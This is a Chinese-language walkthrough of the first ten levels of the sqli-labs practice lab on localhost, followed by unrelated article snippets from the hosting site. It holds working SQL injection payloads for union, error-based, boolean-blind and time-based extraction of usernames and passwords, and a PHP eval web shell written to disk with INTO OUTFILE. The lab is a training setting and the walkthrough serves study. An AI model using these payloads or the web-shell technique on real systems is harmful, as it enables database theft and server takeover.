技术标签: 数据库
目录
1.第一关是单引号字符型注入
http://127.0.0.1/sqli-labs/Less-1/?id=1'
2.用--+进行注释,页面正常显示
http://127.0.0.1/sqli-labs/Less-1/?id=1'--+
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3--+ #正常
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4--+ #页面显示错误
#说明是3列
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+
#这里使用联合查询id参数要为假
#显示位位2和3
1.爆出数据库名和数据库版本号
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),version()--+
2.爆出数据库下的所有表名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
3.爆出表名下的所有字段名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
4.爆出字段下的内容
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat( username,id,password) from users--+
1.第二关是数字型注入利用and 1=1 和 and 1=2来进行判断
http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1
#页面显示正常
http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2
#页面报错
2.用--+进行注释
http://127.0.0.1/sqli-labs/Less-2/?id=1--+
http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 3--+ #正常
http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 4--+ #报错
#说明是三列
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,3--+
1.爆出数据库名和数据库版本号
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,database(),version()--+
2.爆出数据库下的所有表名
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
3.爆出表下的所有字段
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
4.爆出字段下的内容
http://127.0.0.1/sqli-labs/Less-2/?id=-1' union select 1,2,group_concat( username,id,password) from users--+
1.第三关是单引号加)注入
http://127.0.0.1/sqli-labs/Less-3/?id=1')
2.用--+进行注释,页面正常显示
http://127.0.0.1/sqli-labs/Less-3/?id=1')--+
http://127.0.0.1/sqli-labs/Less-3/?id=1') order by 3--+ #正常
http://127.0.0.1/sqli-labs/Less-3/?id=1') order by 4--+ #页面报错
#说明是3列
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,3--+
1.爆出数据库名和数据库版本号
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,database(),version()--+
2.爆出数据库下的所有表名
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
3.爆出表下的所有字段
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
4.爆出字段下的内容
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,group_concat(username,id,password) from users--+
1.第四关是双引号加)注入
http://127.0.0.1/sqli-labs/Less-4/?id=1")
2.用--+进行注释,页面正常显示
http://127.0.0.1/sqli-labs/Less-4/?id=1")--+
http://127.0.0.1/sqli-labs/Less-4/?id=1") order by 3--+ #正确
http://127.0.0.1/sqli-labs/Less-4/?id=1") order by 4--+ #页面报错
#说明是3列
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,3--+
1.爆出数据库名和数据库版本号
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,database(),version()--+
2.爆出数据库下的所有表名
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
3.爆出表下的所有字段
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
4.爆出字段下的内容
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,group_concat(username,id,password) from users--+
总结:前四关都是有显示位所以采用的都是联合查询,后边的关就不一样了,前四关基本属于同一类型
1.第五关是单引号注入,没有显示位,只有正确页面和错误页面对比
http://127.0.0.1/sqli-labs/Less-5/?id=1'
2.用--+进行注释,页面正常显示
http://127.0.0.1/sqli-labs/Less-5/?id=1'--+
1.爆出数据库名和数据库版本号(0x7e是~的转移,用来更好的分清内容)
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+
2.爆出数据库下的所有表名
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+
3.爆出表下的所有字段
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+
4.爆出字段下的内容(updatexml函数报错内容长度不能超过32个字符,所以不能查看全部的内容,这里也可以用limit一个一个的来进行查看)
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1) --+
#其他字段内容也可用这个方法一个一个查看
1.第六关和第五关差不多只是第六关是双引号注入(所以我就不截图了)
http://127.0.0.1/sqli-labs/Less-6/?id=1"
2.用--+进行注释,页面正常显示
http://127.0.0.1/sqli-labs/Less-6/?id=1"--+
1.爆出数据库名和数据库版本号
http://127.0.0.1/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+--+
2.爆出数据库下的所有表名
http://127.0.0.1/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+
3.爆出表下的所有字段
http://127.0.0.1/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+
4.爆出字段下的内容
http://127.0.0.1/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+
1.第七关是单引号加))注入(页面显示use outfile意思是利用文件上传来做)
http://127.0.0.1/sqli-labs/Less-7/?id=1'))
2.用--+进行注释,页面正常显示
http://127.0.0.1/sqli-labs/Less-7/?id=1'))--+
1.123就是连接密码
<?php @eval($_POST['123']);?>
2.3c3f70687020406576616c28245f504f53545b27313233275d293b3f3e是上边一句话木马的hex编码,into outfile指定在七关目录(目录写自己的)下创建2.php文件,文件内容就是刚上传的一句话木马
登录mysql查询secure_file_priv是否为空
show global variables like 'secure%'; #查询secure_file_priv
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制
http://127.0.0.1/sqli-labs/Less-7/index.php?id=-1')) union select 1,0x3c3f70687020406576616c28245f504f53545b27313233275d293b3f3e,3 into outfile 'D:/phpStudy/PHPTutorial/WWW/sqli-labs/Less-7/2.php'--+
3.用中国菜刀进行连接,测试连接成功
4.然后就可以访问数据库,从而获得信息
工具下载安装和使用可以去丶没胡子的猫博主的csdn上去看,很不错
1.第八关是单引号盲注
http://127.0.0.1/sqli-labs/Less-8/?id=1'
2.用--+进行注释,页面正常显示
http://127.0.0.1/sqli-labs/Less-8/?id=1'--+
1.猜数据库名
#length就是判断字符串的长度
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())=8--+
#left() 函数,返回从左至右截取固定长度的字符串
http://127.0.0.1/sqli-labs/Less-8/?id=1' and left(database(),1)>'r'--+
#left(database(),1)>'r'就是判断数据库名第一位是否大于'r',一直比下去,在's'时就会报错,就说明数据库第一位为's'
http://127.0.0.1/sqli-labs/Less-8/?id=1' and left(database(),2)>'se'--+
#然后判断前两位是否大于'se',以此类推猜出数据库名
2.猜表名
#ascii() 函数,返回字符ascii码值
#substr()和substring()函数,返回从开始位置开始到截取长度的子字符串
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
#等于101页面显示正常,说明就是它,101对应的字母是'e',所以第一张表的第一个字母为'e'
#后边的字母也这样依次去猜,后边的表都是这样去猜,我就不一一写了
3.猜字段
#猜出表名后就可以猜字段了,以users为例
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+
#等于105页面显示正常,所以users表下的第一个字段的第一个字母为'i',还是一样依次类推下去可以猜出字段名,其他字段同上
4.爆出字段下的内容
#猜出字段就可以猜字段下的内容了,以password下的内容为例
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68--+
#等于68页面显示正常,说明password下的第一个字母为D,还是一样依次类推下去可以猜出字段下内容,其他字段下内容同上
盲注就是很费时间,不过也不要心急,慢慢来,总是会出来的.
第九关是单引号注入,但是我们输入任何东西页面没有任何变化,所以这关采用时间注入
#if(a,sleep(5),1)如果a结果是真的,那么执行sleep(5)页面延迟5秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出.
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(1=1,sleep(5),1)--+
1.判断数据库长度
#页面延迟五秒刷新,说明数据库长度是大于6的,以此类推可以猜出数据库名长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length((select database()))>6,sleep(5),1)--+
逐一判断数据库名的字符
#页面延迟五秒刷新,说明数据库名第一个字母为's',以此类推可以猜出数据库名
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
2.判断表名长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
逐一判断表名的字符
#页面延迟五秒刷新,说明表名第一个字母为'e',以此类推可以猜出表名
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(5),1)--+
3.判断所有字段名长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>10,sleep(5),1)--+
逐一判断字段名的字符
#页面延迟五秒刷新,说明users表下第一个字段名的字母为'i',以此类推可以猜出字段名
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(5),1)--+
4.判断字段内容长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
逐一判断字段内容的字符
#页面延迟五秒刷新,说明users表下第一个字段内容的字母为'D',以此类推可以猜出字段内容
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(5),1)--+
第十关是双引号注入,除了是双引号注入注入方式和第九关一模一样
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(1=1,sleep(5),1)--+
1.判断数据库长度
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(length((select database()))>6,sleep(5),1)--+
逐一判断数据库名的字符
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
2.判断表名长度
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
逐一判断表名的字符
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(5),1)--+
3.判断所有字段名长度
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>10,sleep(5),1)--+
逐一判断字段名的字符
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(5),1)--+
4.判断字段内容长度
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
逐一判断字段内容的字符
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(5),1)--+
至此十关详解全部完成,第一次制作还望大佬们多多指教,希望可以帮到遇到问题的朋友,感谢!!
文章浏览阅读2.9k次,点赞8次,收藏14次。测试主要做什么?这完全都体现在测试流程中,同时测试流程是面试问题中出现频率最高的,这不仅是因为测试流程很重要,而是在面试过程中这短短的半小时到一个小时的时间,通过测试流程就可以判断出应聘者是否合适,故在测试流程中包含了测试工作的核心内容,例如需求分析,测试用例的设计,测试执行,缺陷等重要的过程。..._测试过程管理中包含哪些过程
文章浏览阅读870次,点赞16次,收藏19次。1.背景介绍政府数字化政务是指政府利用数字技术、互联网、大数据、人工智能等新技术手段,对政府政务进行数字化改革,提高政府工作效率,提升政府服务质量的过程。随着人工智能(AI)和机器学习(ML)技术的快速发展,政府数字化政务中的人工智能与机器学习应用也逐渐成为政府改革的重要内容。政府数字化政务的人工智能与机器学习应用涉及多个领域,包括政策决策、政府服务、公共安全、社会治理等。在这些领域,人工...
文章浏览阅读219次,点赞2次,收藏4次。系统主要的用户为用户、管理员,他们的具体权限如下:用户:用户登录后可以对管理员上传的学习视频进行学习。用户可以选择题型进行练习。用户选择小程序提供的考研科目进行相关训练。用户可以进行水平测试,并且查看相关成绩用户可以进行错题集的整理管理员:管理员登录后可管理个人基本信息管理员登录后可管理个人基本信息管理员可以上传、发布考研的相关例题及其分析,并对题型进行管理管理员可以进行查看、搜索考研题目及错题情况。_mysql刷题软件
文章浏览阅读1.4k次。myelipse里有UML1和UML2两种方式,UML2功能更强大,但是两者生成过程差别不大1.建立Test工程,如下图,uml包存放uml类图package com.zz.domain;public class User {private int id;private String name;public int getId() {return id;}public void setId(int..._根据以下java代码画出类图
文章浏览阅读174次。需求:一个topic包含很多个表信息,需要自动根据json字符串中的字段来写入到hive不同的表对应的路径中。发送到Kafka中的数据原本最外层原本没有pkDay和project,只有data和name。因为担心data里面会空值,所以根同事商量,让他们在最外层添加了project和pkDay字段。pkDay字段用于表的自动分区,proejct和name合起来用于自动拼接hive表的名称为 ..._flume拦截器自定义开发 kafka
文章浏览阅读380次。原标题:Java Spring中同时访问多种不同数据库 多样的工作要求,可以使用不同的工作方法,只要能获得结果,就不会徒劳。开发企业应用时我们常常遇到要同时访问多种不同数据库的问题,有时是必须把数据归档到某种数据仓库中,有时是要把数据变更推送到第三方数据库中。使用Spring框架时,使用单一数据库是非常容易的,但如果要同时访问多个数据库的话事件就变得复杂多了。本文以在Spring框架下开发一个Sp..._根据输入的不同连接不同的数据库
文章浏览阅读3.6k次,点赞9次,收藏25次。本案例描述了晶振屏蔽以及开关电源变压器屏蔽对系统稳定工作的影响, 硬件设计时应考虑。_eft电路图
文章浏览阅读1.1k次。对于物料价格的更改,可以采取不同的手段:首先,我们来介绍MR21的方式。 需要说明的是,如果要对某一产品进行价格修改,必须满足的前提条件是: ■ 1、必须对价格生效的物料期间与对应会计期间进行开启; ■ 2、该产品在该物料期间未发生物料移动。执行MR21,例如更改物料1180051689的价格为20000元,系统提示“对于物料1180051689 存在一个当前或未来标准价格”,这是因为已经对该..._mr21 对于物料 zba89121 存在一个当前或未来标准价格
文章浏览阅读7.4k次,点赞3次,收藏13次。[文章导读]联想启天M420是一款商用台式电脑,预装的是win10系统,用户还是喜欢win7系统,该台式机采用的intel 8代i5 8500CPU,在安装安装win7时有很多问题,在安装win7时要在BIOS中“关闭安全启动”和“开启兼容模式”,并且安装过程中usb不能使用,要采用联想win7新机型安装,且默认采用的uefi+gpt模式,要改成legacy+mbr引导,那么联想启天M420台式电..._启天m420刷bios
文章浏览阅读2.7k次,点赞2次,收藏9次。一,为什么要冗余数据互联网数据量很大的业务场景,往往数据库需要进行水平切分来降低单库数据量。水平切分会有一个patition key,通过patition key的查询能..._保证冗余性
文章浏览阅读88次。是时候闭环Java应用了 原创 2016-08-16 张开涛 你曾经因为部署/上线而痛苦吗?你曾经因为要去运维那改配置而烦恼吗?在我接触过的一些部署/上线方式中,曾碰到过以下一些问题:1、程序代码和依赖都是人工上传到服务器,不是通过工具进行部署和发布;2、目录结构没有规范,jar启动时通过-classpath任意指定;3、fat jar,把程序代码、配置文件和依赖jar都打包到一个jar中,改配置..._那么需要把上面的defaultjavatyperesolver类打包到插件中
文章浏览阅读909次。1.得下载一个番茄插件,按alt+g才可以有函数跳转功能。2.不安装番茄插件,按F12也可以有跳转功能。3.进公司的VS工程是D:\sync\build\win路径,.sln才是打开工程的方式,一个是VS2005打开的,一个是VS2013打开的。4.公司库里的线程接口,在CmThreadManager.h 里,这个里面是我们的线程库,可以直接拿来用。CreateUserTaskThre..._番茄助手颜色